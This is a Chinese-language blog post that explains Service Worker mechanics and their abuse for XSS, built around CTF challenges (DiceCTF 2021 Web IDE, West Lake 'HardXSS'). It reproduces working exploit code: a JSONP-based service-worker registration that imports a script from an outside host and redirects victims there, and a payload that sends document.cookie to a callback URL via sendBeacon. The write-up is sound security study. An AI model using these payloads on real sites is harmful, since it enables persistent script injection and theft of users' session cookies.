Xss Via Service Worker

2021-05-04 00:05:00
Service Worker - xss

闲置了很久的东西,在做dicectf2021的Web IDE的时候再次碰到这个东西,特此学学。

Service Worker下文简称sw,在我的理解看来就类似于一个filter,是介于服务器与客户端之间的一个中间人,它会拦截当前网站的所有请求,根据其编写的逻辑,在请求需要转发给服务器时进行转发,否则就使用离线缓存。

sw它算是一个独立的,运行在浏览器后台的脚本,因此用它来执行消耗大资源的程度时并不会对主线程造成阻塞;Service Worker 是一个浏览器中的进程而不是浏览器内核下的线程,因此它在被注册安装之后,能够被在多个页面中使用,也不会因为页面的关闭而被销毁。

出于安全考虑,sw需要基于https协议来运行,而为了开发者方便,localhost下同样可以使用sw。

笔者采用:https://replit.com/ 部署我的sw。

how to use sw

index.html:

<script>
  if ('serviceWorker' in navigator) {
navigator.serviceWorker.register('./sw.js', { scope: './' })
    .then(function (reg) {
      console.log('success', reg);
    })
    .catch(function (err) {
      console.log('fail', err);
    });
  }
</script>

通过navigator.serviceWorker.register注册sw.js脚本即可完成注册,需要注意的是这个脚本的 Content-Type 必须是 text/javascript;其中的scope是sw可控的的url范围,例如修改为/sw/sw.js时,当scope仍保持为./时,此时会注册失败,此时若要注册需要将scope修改为./sw/

sw.js:

this.addEventListener('install', function (event) {
  console.log('Service Worker install');
});

这里监听了install事件,sw在完成注册后会自动进行安装,此时install事件就会被执行。

我们能够在开发者工具中的application中看到安装了的sw:

值得关注的事件有如下:

  • install
  • activate
  • fetch

其中xss的利用很大程度需要用到fetch事件。

fetch事件做的是每当sw向服务器发起请求的时候这个事件就会被触发,当然了有一个限制就是页面的路径不能大于 Service Worker 的 scope,不然 fetch 事件是无法被触发的。

fetch中可以对event.request和response作出如new Response或者clone()等处理,以此来修改返回内容。

fetch的demo(sw.js):

this.addEventListener('fetch', function (event) {
    var url = event.request.clone();
    console.log('url: ', url);
    var body = '<script>alert("test")</script>';
    var init = {headers: {"Content-Type": "text/html"}};
    if (url.url === 'http://localhost/sw/target.html') {
        var res = new Response(body, init);
        event.respondWith(res.clone());
    }
});

sw with xss

在前面讲到sw的用法的时候有提到过需要使用到一个js脚本,此时需要满足的一个点就是目标存在着一个可上传js文件的点。

一个比较常见的就是利用jsonp达成xss,但需要注意到的是navigator.serviceWorker.register无法加载跨域的js脚本,然而可以通过importScripts方法进行加载,当然了同样需要是https的资源,关于利用jsonp达成xss的情况本文不多描述,感兴趣的话可以找找西湖论剑的HardXSS,其有一个点是利用同一个主域下的A站的XSS给B站植入sw:

(from https://lightless.me/archives/XSS-With-Service-Worker.html)

这里贴一下其exp:

# 1.js
document.domain = "xss.eec5b2.challenge.gcsis.cn";
var iff = document.createElement('iframe');
iff.src = 'https://auth.xss.eec5b2.challenge.gcsis.cn/';
iff.addEventListener("load", function(){ iffLoadover(); });
document.body.appendChild(iff);
exp = `navigator.serviceWorker.register("/api/loginStatus?callback=importScripts('//aa.hongjunxie.repl.co/2.js')//")`;
function iffLoadover(){
    iff.contentWindow.eval(exp);
}
# 2.js
self.addEventListener('install', function(event) {
        console.log('install ok!');
});

this.addEventListener('fetch', function (event) {
    var url = event.request.clone();
    console.log('url: ', url);
    var body = "<script>location='https://aa.hongjunxie.repl.co/'+location.search;</script>";
    var init = {headers: {"Content-Type": "text/html"}};
    var res = new Response(body, init);
    event.respondWith(res.clone());
});
//提交https://xss.xss.eec5b2.challenge.gcsis.cn/login?callback=jsonp(%22//aa.hongjunxie.repl.co/1.js%22);// 给admin即可

先给document设置主域,然后通过iframe的contentWindow.eval去注册sw脚本。

而可上传js文件配合sw去达成xss的情况可以参考dicectf 2021的web ide,我的wp分析的比较烂就不分享了,可以参考:

https://blog.bi0s.in/2021/02/09/Web/DiceCTF21-WebIDE/

Payload:

<iframe id='f' src='https://web-ide.dicec.tf/sandbox.html'></iframe>
<script>
  f.addEventListener('load', () => {
    f.contentWindow.postMessage(`[].slice.constructor('return this')().fetch("https://web-ide.dicec.tf/ide/save", 
      {
        "headers": {
          "content-type": "application/javascript",
        },
        "body": "
          self.addEventListener('fetch', e=>{
              if (e.request.method != 'GET') {
                return;
              } 
              e.respondWith(
                new Response('<script>navigator.sendBeacon(\\\\'CALLBACK URL HERE\\\\', document.cookie)</sc'+'ript>',
                  {
                    headers:{
                      \\'content-type\\':\\'text/html\\'
                    }
                  }
              ));
          });",
        "method": "POST",
        "mode": "cors",
        "credentials": "include"
      })
      .then(response=>response.text())
      .then(path=>{
          [].slice.constructor('return this')().navigator.serviceWorker.register('/ide/saves/'+path, 
          {
            scope: '/ide/saves/'
          }
      )
    });`, '*');
    setTimeout(() => { location = 'https://web-ide.dicec.tf/ide/saves/' }, 1000)
  })
</script>


本文原创于HhhM的博客,转载请标明出处。



CopyRight © 2019-2020 HhhM
Power By Django & Bootstrap
已运行
粤ICP备19064649号